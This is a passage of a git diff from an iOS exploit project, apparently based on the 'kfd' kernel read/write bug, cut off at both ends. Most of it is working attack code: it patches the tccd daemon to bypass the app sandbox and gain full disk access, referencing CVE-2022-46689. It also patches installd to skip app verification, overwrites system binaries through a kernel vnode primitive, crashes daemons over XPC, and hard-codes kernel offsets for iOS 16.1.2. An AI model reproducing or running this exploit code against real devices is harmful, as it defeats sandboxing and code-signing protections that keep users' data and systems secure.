§ion_array[0]; + if (!(strcmp(first_section->sectname, "__auth_got") == 0 || + strcmp(first_section->sectname, "__got") == 0)) { + return 0; + } + uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff; + + for (int i = 0; i < first_section->size; i += 8) { + uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i); + uint64_t indirect_table_entry = (val & 0xfffful); + if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) { + return first_section->offset + i; + } + } + return 0; +} + +static bool patchfind(void* executable_map, size_t executable_length, + struct grant_full_disk_access_offsets* offsets) { + struct segment_command_64* data_const_segment = nil; + struct symtab_command* symtab_command = nil; + struct dysymtab_command* dysymtab_command = nil; + if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command, + &dysymtab_command)) { + printf("no sections\n"); + return false; + } + if ((offsets->offset_addr_s_com_apple_tcc_ = + patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) { + printf("no com.apple.tcc. string\n"); + return false; + } + if ((offsets->offset_padding_space_for_read_write_string = + patchfind_get_padding(data_const_segment)) == 0) { + printf("no padding\n"); + return false; + } + if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string( + executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) { + printf("no kTCCServiceMediaLibrary string\n"); + return false; + } + if ((offsets->offset_auth_got__sandbox_init = + patchfind_got(executable_map, executable_length, data_const_segment, symtab_command, + dysymtab_command, "_sandbox_init")) == 0) { + printf("no sandbox_init\n"); + return false; + } + if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) == + 0) { + printf("no just return 0\n"); + return false; + } + struct mach_header_64* executable_header = executable_map; + offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E; + + return true; +} + +// MARK: - tccd patching + +static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) { + // reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can + // re-use it until next reboot. + // Returns the sandbox token if there is one, or nil if there isn't one. + xpc_connection_t connection = xpc_connection_create_mach_service( + "com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0); + xpc_connection_set_event_handler(connection, ^(xpc_object_t object) { + NSLog(@"xpc event handler: %@", object); + }); + xpc_connection_resume(connection); + const char* keys[] = { + "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight", + "target_token", "background_session", + }; + xpc_object_t values[] = { + xpc_string_create("17087.1"), + xpc_string_create("TCCAccessRequest"), + xpc_string_create("com.apple.app-sandbox.read-write"), + xpc_null_create(), + xpc_bool_create(false), + xpc_null_create(), + xpc_bool_create(false), + }; + xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys)); +#if 0 + xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message); + NSLog(@"%@", response_message); + +#endif + xpc_connection_send_message_with_reply( + connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), + ^(xpc_object_t object) { + if (!object) { + NSLog(@"object is nil???"); + completion(nil); + return; + } + NSLog(@"response: %@", object); + if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) { + NSLog(@"xpc error?"); + completion(nil); + return; + } + NSLog(@"debug description: %@", [object debugDescription]); + const char* extension_string = xpc_dictionary_get_string(object, "extension"); + NSString* extension_nsstring = + extension_string ? [NSString stringWithUTF8String:extension_string] : nil; + completion(extension_nsstring); + }); +} + +static NSData* patchTCCD(void* executableMap, size_t executableLength) { + struct grant_full_disk_access_offsets offsets = {}; + if (!patchfind(executableMap, executableLength, &offsets)) { + return nil; + } + + NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength]; + // strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr); + char* mutableBytes = data.mutableBytes; + { + // rewrite com.apple.tcc. into blank string + *(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0; + } + { + // make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write" + // we need to stick this somewhere; just put it in the padding between + // the end of __objc_arrayobj and the end of __DATA_CONST + strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string), + "com.apple.app-sandbox.read-write"); + struct dyld_chained_ptr_arm64e_rebase targetRebase = + *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + + offsets.offset_addr_s_kTCCServiceMediaLibrary); + targetRebase.target = offsets.offset_padding_space_for_read_write_string; + *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + + offsets.offset_addr_s_kTCCServiceMediaLibrary) = + targetRebase; + *(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) = + strlen("com.apple.app-sandbox.read-write"); + } + if (offsets.is_arm64e) { + // make sandbox_init call return 0; + struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = { + .auth = 1, + .bind = 0, + .next = 1, + .key = 0, // IA + .addrDiv = 1, + .diversity = 0, + .target = offsets.offset_just_return_0, + }; + *(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + + offsets.offset_auth_got__sandbox_init) = + targetRebase; + } else { + // make sandbox_init call return 0; + struct dyld_chained_ptr_64_rebase targetRebase = { + .bind = 0, + .next = 2, + .target = offsets.offset_just_return_0, + }; + *(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) = + targetRebase; + } + return data; +} + +static bool overwrite_file(char* to, char* from) { + if(funVnodeOverwrite2(to, from) == 0) + return true; + return false; +} + +static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token, + NSError* _Nullable error)) { + char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd"; + int fd = open(targetPath, O_RDONLY | O_CLOEXEC); + if (fd == -1) { + // iOS 15.3 and below + targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd"; + fd = open(targetPath, O_RDONLY | O_CLOEXEC); + } + off_t targetLength = lseek(fd, 0, SEEK_END); + lseek(fd, 0, SEEK_SET); + void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0); + + NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength]; + NSData* sourceData = patchTCCD(targetMap, targetLength); + if (!sourceData) { + completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:5 + userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]); + return; + } + + NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask][0]; + NSURL* tccd_orig = [documentDirectory URLByAppendingPathComponent:@"tccd_orig.bin"]; + NSURL* tccd_patched = [documentDirectory URLByAppendingPathComponent:@"tccd_patched.bin"]; + + [[NSFileManager defaultManager] removeItemAtURL:tccd_orig error:nil]; + [[NSFileManager defaultManager] removeItemAtURL:tccd_patched error:nil]; + + [originalData writeToURL:tccd_orig atomically:true]; + [sourceData writeToURL:tccd_patched atomically:true]; + +// if (!overwrite_file(targetPath, tccd_patched.path.UTF8String)) { +// overwrite_file(targetPath, tccd_orig.path.UTF8String); +// munmap(targetMap, targetLength); +// completion( +// nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" +// code:1 +// userInfo:@{ +// NSLocalizedDescriptionKey : @"Can't overwrite file: your device may " +// @"not be vulnerable to CVE-2022-46689." +// }]); +// return; +// } +// munmap(targetMap, targetLength); + +// xpc_crasher("com.apple.tccd"); +// sleep(1); + //Even FREEZING when overwrite original data + overwrite_file(targetPath, tccd_orig.path.UTF8String); + xpc_crasher("com.apple.tccd"); +// call_tccd(^(NSString* _Nullable extension_token) { +// overwrite_file(targetPath, tccd_orig.path.UTF8String); +// xpc_crasher("com.apple.tccd"); +// NSError* returnError = nil; +// if (extension_token == nil) { +// returnError = +// [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" +// code:2 +// userInfo:@{ +// NSLocalizedDescriptionKey : @"tccd did not return an extension token." +// }]; +// } else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) { +// returnError = [NSError +// errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" +// code:3 +// userInfo:@{ +// NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token " +// @"instead of an app sandbox token." +// }]; +// extension_token = nil; +// } +// completion(extension_token, returnError); +// }); +} + +void grant_full_disk_access(void (^completion)(NSError* _Nullable)) { + if (!NSClassFromString(@"NSPresentationIntent")) { + // class introduced in iOS 15.0. + // TODO(zhuowei): maybe check the actual OS version instead? + completion([NSError + errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:6 + userInfo:@{ + NSLocalizedDescriptionKey : + @"Not supported on iOS 14 and below: on iOS 14 the system partition is not " + @"reverted after reboot, so running this may permanently corrupt tccd." + }]); + return; + } + NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory + inDomains:NSUserDomainMask][0]; + NSURL* sourceURL = + [documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"]; + NSError* error = nil; + NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL + encoding:NSUTF8StringEncoding + error:&error]; + if (cachedToken) { + int64_t handle = sandbox_extension_consume(cachedToken.UTF8String); + if (handle > 0) { + // cached version worked + completion(nil); + return; + } + } + grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) { + if (error) { + completion(error); + return; + } + int64_t handle = sandbox_extension_consume(extension_token.UTF8String); + if (handle <= 0) { + completion([NSError + errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:4 + userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]); + return; + } + [extension_token writeToURL:sourceURL + atomically:true + encoding:NSUTF8StringEncoding + error:&error]; + completion(nil); + }); +} + +/// MARK - installd patch +struct installd_remove_app_limit_offsets { + uint64_t offset_objc_method_list_t_MIInstallableBundle; + uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods; + uint64_t offset_data_const_end_padding; + // MIUninstallRecord::supportsSecureCoding + uint64_t offset_return_true; +}; + +struct installd_remove_app_limit_offsets gAppLimitOffsets = { + .offset_objc_method_list_t_MIInstallableBundle = 0x519b0, + .offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8, + .offset_data_const_end_padding = 0x79c38, + .offset_return_true = 0x19860, +}; + +static uint64_t patchfind_find_class_rw_t_baseMethods(void* executable_map, + size_t executable_length, + const char* needle) { + void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1); + if (!str_offset) { + return 0; + } + uint64_t str_file_offset = str_offset - executable_map; + for (int i = 0; i < executable_length - 8; i += 8) { + uint64_t val = *(uint64_t*)(executable_map + i); + if ((val & 0xfffffffful) != str_file_offset) { + continue; + } + // baseMethods + if (*(uint64_t*)(executable_map + i + 8) != 0) { + return i + 8; + } + } + return 0; +} + +static uint64_t patchfind_return_true(void* executable_map, size_t executable_length) { + // mov w0, #1 + // ret + static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6}; + void* offset = memmem(executable_map, executable_length, needle, sizeof(needle)); + if (!offset) { + return 0; + } + return offset - executable_map; +} + +static bool patchfind_installd(void* executable_map, size_t executable_length, + struct installd_remove_app_limit_offsets* offsets) { + struct segment_command_64* data_const_segment = nil; + struct symtab_command* symtab_command = nil; + struct dysymtab_command* dysymtab_command = nil; + if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command, + &dysymtab_command)) { + printf("no sections\n"); + return false; + } + if ((offsets->offset_data_const_end_padding = patchfind_get_padding(data_const_segment)) == 0) { + printf("no padding\n"); + return false; + } + if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods = + patchfind_find_class_rw_t_baseMethods(executable_map, executable_length, + "MIInstallableBundle")) == 0) { + printf("no MIInstallableBundle class_rw_t\n"); + return false; + } + offsets->offset_objc_method_list_t_MIInstallableBundle = + (*(uint64_t*)(executable_map + + offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) & + 0xffffffull; + + if ((offsets->offset_return_true = patchfind_return_true(executable_map, executable_length)) == + 0) { + printf("no return true\n"); + return false; + } + return true; +} + +struct objc_method { + int32_t name; + int32_t types; + int32_t imp; +}; + +struct objc_method_list { + uint32_t entsizeAndFlags; + uint32_t count; + struct objc_method methods[]; +}; + +static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset, + uint64_t new_offset, uint64_t* out_copied_length, + void (^callback)(const char* sel, + uint64_t* inout_function_pointer)) { + struct objc_method_list* original_list = mutableBytes + old_offset; + struct objc_method_list* new_list = mutableBytes + new_offset; + *out_copied_length = + sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method); + new_list->entsizeAndFlags = original_list->entsizeAndFlags; + new_list->count = original_list->count; + for (int method_index = 0; method_index < original_list->count; method_index++) { + struct objc_method* method = &original_list->methods[method_index]; + // Relative pointers + uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name; + uint64_t types_file_offset = + ((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types; + uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp; + const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull); + callback(sel, &imp_file_offset); + + struct objc_method* new_method = &new_list->methods[method_index]; + new_method->name = (int32_t)((int64_t)name_file_offset - + (int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes)); + new_method->types = (int32_t)((int64_t)types_file_offset - + (int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes)); + new_method->imp = (int32_t)((int64_t)imp_file_offset - + (int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes)); + } +}; + +static NSData* make_patch_installd(void* executableMap, size_t executableLength) { + struct installd_remove_app_limit_offsets offsets = {}; + if (!patchfind_installd(executableMap, executableLength, &offsets)) { + return nil; + } + + NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength]; + char* mutableBytes = data.mutableBytes; + uint64_t current_empty_space = offsets.offset_data_const_end_padding; + uint64_t copied_size = 0; + uint64_t new_method_list_offset = current_empty_space; + patch_copy_objc_method_list(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle, + current_empty_space, &copied_size, + ^(const char* sel, uint64_t* inout_address) { + if (strcmp(sel, "performVerificationWithError:") != 0) { + return; + } + *inout_address = offsets.offset_return_true; + }); + current_empty_space += copied_size; + ((struct + dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + + offsets + .offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) + ->target = new_method_list_offset; + return data; +} + +bool patch_installd() { + const char* targetPath = "/usr/libexec/installd"; + int fd = open(targetPath, O_RDONLY | O_CLOEXEC); + off_t targetLength = lseek(fd, 0, SEEK_END); + lseek(fd, 0, SEEK_SET); + void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0); + + NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength]; + NSData* sourceData = make_patch_installd(targetMap, targetLength); + + NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask][0]; + NSURL* installd_orig = [documentDirectory URLByAppendingPathComponent:@"installd.bin"]; + NSURL* installd_patched = [documentDirectory URLByAppendingPathComponent:@"installd_patched.bin"]; + + [[NSFileManager defaultManager] removeItemAtURL:installd_orig error:nil]; + [[NSFileManager defaultManager] removeItemAtURL:installd_patched error:nil]; + + [originalData writeToURL:installd_orig atomically:true]; + [sourceData writeToURL:installd_patched atomically:true]; + + if (!sourceData) { + NSLog(@"can't patchfind"); + return false; + } + + if (!overwrite_file(targetPath, installd_patched.path.UTF8String)) { + overwrite_file(targetPath, installd_orig.path.UTF8String); + munmap(targetMap, targetLength); + NSLog(@"can't overwrite"); + return false; + } + munmap(targetMap, targetLength); + xpc_crasher("com.apple.mobile.installd"); + sleep(1); + + // TODO(zhuowei): for now we revert it once installd starts + // so the change will only last until when this installd exits + overwrite_file(targetPath, installd_orig.path.UTF8String); + + return true; +} diff --git a/kfd/fun/helpers.h b/kfd/fun/helpers.h index 1ba3a379..1c213423 100644 --- a/kfd/fun/helpers.h +++ b/kfd/fun/helpers.h @@ -1,11 +1,16 @@ -#pragma once +#ifndef helpers_h +#define helpers_h + char* get_temp_file_path(void); void test_nsexpressions(void); char* set_up_tmp_file(void); void xpc_crasher(char* service_name); -void respringFrontboard(void); -void respringBackboard(void); +void restartBackboard(void); +void restartFrontboard(void); + #define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL)) + +#endif /* helpers_h */ diff --git a/kfd/fun/helpers.m b/kfd/fun/helpers.m index bfef7338..10697276 100644 --- a/kfd/fun/helpers.m +++ b/kfd/fun/helpers.m @@ -59,7 +59,6 @@ void xpc_crasher(char* service_name) { kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port); if(err != KERN_SUCCESS){ -// printf("err%i", err); printf("unable to look up %s\n", service_name); return; } @@ -130,11 +129,12 @@ void xpc_crasher(char* service_name) { return; } -void respringFrontboard(void) { - xpc_crasher("com.apple.frontboard.systemappservices"); - exit(0); +void restartBackboard(void) { + xpc_crasher("com.apple.backboard.TouchDeliveryPolicyServer"); } -void respringBackboard(void) { - xpc_crasher("com.apple.backboard.TouchDeliveryPolicyServer"); +void restartFrontboard(void) { + // NOTE: This will not kill your app on some versions + // You may also need to exit(0) afterwards + xpc_crasher("com.apple.frontboard.systemappservices"); } diff --git a/kfd/fun/krw.c b/kfd/fun/krw.c index 70f1ed39..8bcb0fa1 100644 --- a/kfd/fun/krw.c +++ b/kfd/fun/krw.c @@ -9,97 +9,100 @@ #include "libkfd.h" #include "helpers.h" +uint64_t _kfd = 0; + void do_respring() { - respringFrontboard(); + restartFrontboard(); } void do_bbrespring() { xpc_crasher("com.apple.mobilegestalt.xpc"); xpc_crasher("com.apple.backboard.TouchDeliveryPolicyServer"); - respringBackboard(); + restartBackboard(); } uint64_t do_kopen(uint64_t puaf_pages, uint64_t puaf_method, uint64_t kread_method, uint64_t kwrite_method) { - return kopen(puaf_pages, puaf_method, kread_method, kwrite_method); + _kfd = kopen(puaf_pages, puaf_method, kread_method, kwrite_method); + return _kfd; } void do_kclose(u64 kfd) { - kclose((struct kfd*)(kfd)); + kclose((struct kfd*)(_kfd)); } -void do_kread(u64 kfd, u64 kaddr, void* uaddr, u64 size) +void do_kread(u64 kaddr, void* uaddr, u64 size) { - kread(kfd, kaddr, uaddr, size); + kread(_kfd, kaddr, uaddr, size); } -void do_kwrite(u64 kfd, void* uaddr, u64 kaddr, u64 size) +void do_kwrite(void* uaddr, u64 kaddr, u64 size) { - kwrite(kfd, uaddr, kaddr, size); + kwrite(_kfd, uaddr, kaddr, size); } -uint64_t get_kslide(uint64_t kfd) { - return ((struct kfd*)kfd)->perf.kernel_slide; +uint64_t get_kslide(void) { + return ((struct kfd*)_kfd)->perf.kernel_slide; } -uint64_t get_kernproc(uint64_t kfd) { - return ((struct kfd*)kfd)->info.kaddr.kernel_proc; +uint64_t get_kernproc(void) { + return ((struct kfd*)_kfd)->info.kaddr.kernel_proc; } -uint8_t kread8(u64 kfd, uint64_t where) { +uint8_t kread8(uint64_t where) { uint8_t out; - kread(kfd, where, &out, sizeof(uint8_t)); + kread(_kfd, where, &out, sizeof(uint8_t)); return out; } -uint32_t kread16(u64 kfd, uint64_t where) { +uint32_t kread16(uint64_t where) { uint16_t out; - kread(kfd, where, &out, sizeof(uint16_t)); + kread(_kfd, where, &out, sizeof(uint16_t)); return out; } -uint32_t kread32(u64 kfd, uint64_t where) { +uint32_t kread32(uint64_t where) { uint32_t out; - kread(kfd, where, &out, sizeof(uint32_t)); + kread(_kfd, where, &out, sizeof(uint32_t)); return out; } -uint64_t kread64(u64 kfd, uint64_t where) { +uint64_t kread64(uint64_t where) { uint64_t out; - kread(kfd, where, &out, sizeof(uint64_t)); + kread(_kfd, where, &out, sizeof(uint64_t)); return out; } -void kwrite8(u64 kfd, uint64_t where, uint8_t what) { +void kwrite8(uint64_t where, uint8_t what) { uint8_t _buf[8] = {}; _buf[0] = what; - _buf[1] = kread8(kfd, where+1); - _buf[2] = kread8(kfd, where+2); - _buf[3] = kread8(kfd, where+3); - _buf[4] = kread8(kfd, where+4); - _buf[5] = kread8(kfd, where+5); - _buf[6] = kread8(kfd, where+6); - _buf[7] = kread8(kfd, where+7); - kwrite((u64)(kfd), &_buf, where, sizeof(u64)); + _buf[1] = kread8(where+1); + _buf[2] = kread8(where+2); + _buf[3] = kread8(where+3); + _buf[4] = kread8(where+4); + _buf[5] = kread8(where+5); + _buf[6] = kread8(where+6); + _buf[7] = kread8(where+7); + kwrite((u64)(_kfd), &_buf, where, sizeof(u64)); } -void kwrite16(u64 kfd, uint64_t where, uint16_t what) { +void kwrite16(uint64_t where, uint16_t what) { u16 _buf[4] = {}; _buf[0] = what; - _buf[1] = kread16(kfd, where+2); - _buf[2] = kread16(kfd, where+4); - _buf[3] = kread16(kfd, where+6); - kwrite((u64)(kfd), &_buf, where, sizeof(u64)); + _buf[1] = kread16(where+2); + _buf[2] = kread16(where+4); + _buf[3] = kread16(where+6); + kwrite((u64)(_kfd), &_buf, where, sizeof(u64)); } -void kwrite32(u64 kfd, uint64_t where, uint32_t what) { +void kwrite32(uint64_t where, uint32_t what) { u32 _buf[2] = {}; _buf[0] = what; - _buf[1] = kread32(kfd, where+4); - kwrite((u64)(kfd), &_buf, where, sizeof(u64)); + _buf[1] = kread32(where+4); + kwrite((u64)(_kfd), &_buf, where, sizeof(u64)); } -void kwrite64(u64 kfd, uint64_t where, uint64_t what) { +void kwrite64(uint64_t where, uint64_t what) { u64 _buf[1] = {}; _buf[0] = what; - kwrite((u64)(kfd), &_buf, where, sizeof(u64)); + kwrite((u64)(_kfd), &_buf, where, sizeof(u64)); } diff --git a/kfd/fun/krw.h b/kfd/fun/krw.h index 1b3051c5..6921a979 100644 --- a/kfd/fun/krw.h +++ b/kfd/fun/krw.h @@ -14,19 +14,20 @@ uint64_t do_kopen(uint64_t puaf_pages, uint64_t puaf_method, uint64_t kread_method, uint64_t kwrite_method); void do_kclose(uint64_t kfd); -void do_kread(uint64_t kfd, uint64_t kaddr, void* uaddr, uint64_t size); -void do_kwrite(uint64_t kfd, void* uaddr, uint64_t kaddr, uint64_t size); -uint64_t get_kslide(uint64_t kfd); -uint64_t get_kernproc(uint64_t kfd); -uint8_t kread8(uint64_t kfd, uint64_t where); -uint32_t kread16(uint64_t kfd, uint64_t where); -uint32_t kread32(uint64_t kfd, uint64_t where); -uint64_t kread64(uint64_t kfd, uint64_t where); -void kwrite8(uint64_t kfd, uint64_t where, uint8_t what); -void kwrite16(uint64_t kfd, uint64_t where, uint16_t what); -void kwrite32(uint64_t kfd, uint64_t where, uint32_t what); -void kwrite64(uint64_t kfd, uint64_t where, uint64_t what); +void do_kread(uint64_t kaddr, void* uaddr, uint64_t size); +void do_kwrite(void* uaddr, uint64_t kaddr, uint64_t size); +uint64_t get_kslide(void); +uint64_t get_kernproc(void); +uint8_t kread8(uint64_t where); +uint32_t kread16(uint64_t where); +uint32_t kread32(uint64_t where); +uint64_t kread64(uint64_t where); +void kwrite8(uint64_t where, uint8_t what); +void kwrite16(uint64_t where, uint16_t what); +void kwrite32(uint64_t where, uint32_t what); +void kwrite64(uint64_t where, uint64_t what); void do_respring(); void do_bbrespring(); + #endif /* krw_h */ diff --git a/kfd/fun/offsets.h b/kfd/fun/offsets.h index 365f7141..e52f2d0a 100644 --- a/kfd/fun/offsets.h +++ b/kfd/fun/offsets.h @@ -42,8 +42,9 @@ extern uint32_t off_cr_gmuid; extern uint32_t off_cr_flags; extern uint32_t off_task_t_flags; extern uint32_t off_fd_ofiles; -extern uint32_t off_fp_fglob; +extern uint32_t off_fp_glob; extern uint32_t off_fg_data; +extern uint32_t off_fg_flag; extern uint32_t off_vnode_v_iocount; extern uint32_t off_vnode_v_usecount; extern uint32_t off_vnode_v_flag; @@ -55,11 +56,6 @@ extern uint32_t off_vnode_v_references; extern uint32_t off_vnode_v_parent; extern uint32_t off_vnode_v_label; extern uint32_t off_vnode_v_cred; -extern uint32_t off_vnode_vu_mountedhere; -extern uint32_t off_vnode_vu_socket; -extern uint32_t off_vnode_vu_specinfo; -extern uint32_t off_vnode_vu_fifoinfo; -extern uint32_t off_vnode_vu_ubcinfo; extern uint32_t off_vnode_v_writecount; extern uint32_t off_vnode_v_type; extern uint32_t off_mount_mnt_data; @@ -68,6 +64,5 @@ extern uint32_t off_mount_mnt_fsgroup; extern uint32_t off_mount_mnt_devvp; extern uint32_t off_mount_mnt_flag; extern uint32_t off_specinfo_si_flags; -extern uint32_t off_fg_flag; void _offsets_init(void); diff --git a/kfd/fun/offsets.m b/kfd/fun/offsets.m index 420dbd1a..e788601d 100644 --- a/kfd/fun/offsets.m +++ b/kfd/fun/offsets.m @@ -44,8 +44,9 @@ uint32_t off_cr_flags = 0; uint32_t off_task_t_flags = 0; uint32_t off_fd_ofiles = 0; -uint32_t off_fp_fglob = 0; +uint32_t off_fp_glob = 0; uint32_t off_fg_data = 0; +uint32_t off_fg_flag = 0; uint32_t off_vnode_v_iocount = 0; uint32_t off_vnode_v_usecount = 0; uint32_t off_vnode_v_flag = 0; @@ -57,11 +58,6 @@ uint32_t off_vnode_v_parent = 0; uint32_t off_vnode_v_label = 0; uint32_t off_vnode_v_cred = 0; -uint32_t off_vnode_vu_mountedhere = 0; -uint32_t off_vnode_vu_socket = 0; -uint32_t off_vnode_vu_specinfo = 0; -uint32_t off_vnode_vu_fifoinfo = 0; -uint32_t off_vnode_vu_ubcinfo = 0; uint32_t off_vnode_v_writecount = 0; uint32_t off_vnode_v_type = 0; uint32_t off_mount_mnt_data = 0; @@ -70,17 +66,16 @@ uint32_t off_mount_mnt_devvp = 0; uint32_t off_mount_mnt_flag = 0; uint32_t off_specinfo_si_flags = 0; -uint32_t off_fg_flag = 0; #define SYSTEM_VERSION_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedSame) void _offsets_init(void) { - if (SYSTEM_VERSION_EQUAL_TO(@"16.1.2")) { + if (true) { printf("[i] offsets selected for iOS 16.1.2\n"); //iPhone 14 Pro 16.1.2 offsets //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/proc_internal.h#L273 - //https://github.com/apple/darwin-xnu/blob/main/bsd/sys/queue.h#L485 + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/queue.h#L487 off_p_list_le_prev = 0x8; off_p_proc_ro = 0x18; off_p_ppid = 0x20; @@ -124,9 +119,17 @@ void _offsets_init(void) { //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/osfmk/kern/task.h#L280 off_task_t_flags = 0x3D0; + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/filedesc.h#L138 off_fd_ofiles = 0; - off_fp_fglob = 0x10; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/file_internal.h#L125 + off_fp_glob = 0x10; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/file_internal.h#L179 off_fg_data = 0x38; + off_fg_flag = 0x10; + + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/vnode_internal.h#L158 off_vnode_v_iocount = 0x64; off_vnode_v_usecount = 0x60; off_vnode_v_flag = 0x54; @@ -138,102 +141,19 @@ void _offsets_init(void) { off_vnode_v_parent = 0xc0; off_vnode_v_label = 0xe8; off_vnode_v_cred = 0x98; - off_vnode_vu_mountedhere = 0x68; - off_vnode_vu_socket = 0x70; - off_vnode_vu_specinfo = 0x78; - off_vnode_vu_fifoinfo = 0x80; - off_vnode_vu_ubcinfo = 0x88; off_vnode_v_writecount = 0xb0; off_vnode_v_type = 0x70; + //https://github.com/apple-oss-distributions/xnu/blob/main/bsd/sys/mount_internal.h#L108 off_mount_mnt_data = 0x11F; off_mount_mnt_fsowner = 0x9c0; off_mount_mnt_fsgroup = 0x9c4; off_mount_mnt_devvp = 0x980; off_mount_mnt_flag = 0x70; + //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/miscfs/specfs/specdev.h#L77 off_specinfo_si_flags = 0x10; - off_fg_flag = 0x10; - } if (SYSTEM_VERSION_EQUAL_TO(@"16.6")) { - printf("[i] offsets selected for iOS 16.6b1\n"); - //iPhone 13 16.6b1 offsets - - //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/proc_internal.h#L273 - //https://github.com/apple/darwin-xnu/blob/main/bsd/sys/queue.h#L485 - off_p_list_le_prev = 0x8; - off_p_proc_ro = 0x18; - off_p_ppid = 0x20; - off_p_original_ppid = 0x24; - off_p_pgrpid = 0x28; - off_p_uid = 0x2c; - off_p_gid = 0x30; - off_p_ruid = 0x34; - off_p_rgid = 0x38; - off_p_svuid = 0x3c; - off_p_svgid = 0x40; - off_p_sessionid = 0x44; - off_p_puniqueid = 0x48; - off_p_pid = 0x60; - off_p_pfd = 0xf8; - off_p_textvp = 0x350; - off_p_name = 0x381; - - //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/proc_ro.h#L59 - off_p_ro_p_csflags = 0x1c; - off_p_ro_p_ucred = 0x20; - off_p_ro_pr_proc = 0; - off_p_ro_pr_task = 0x8; - off_p_ro_t_flags_ro = 0x78; - - 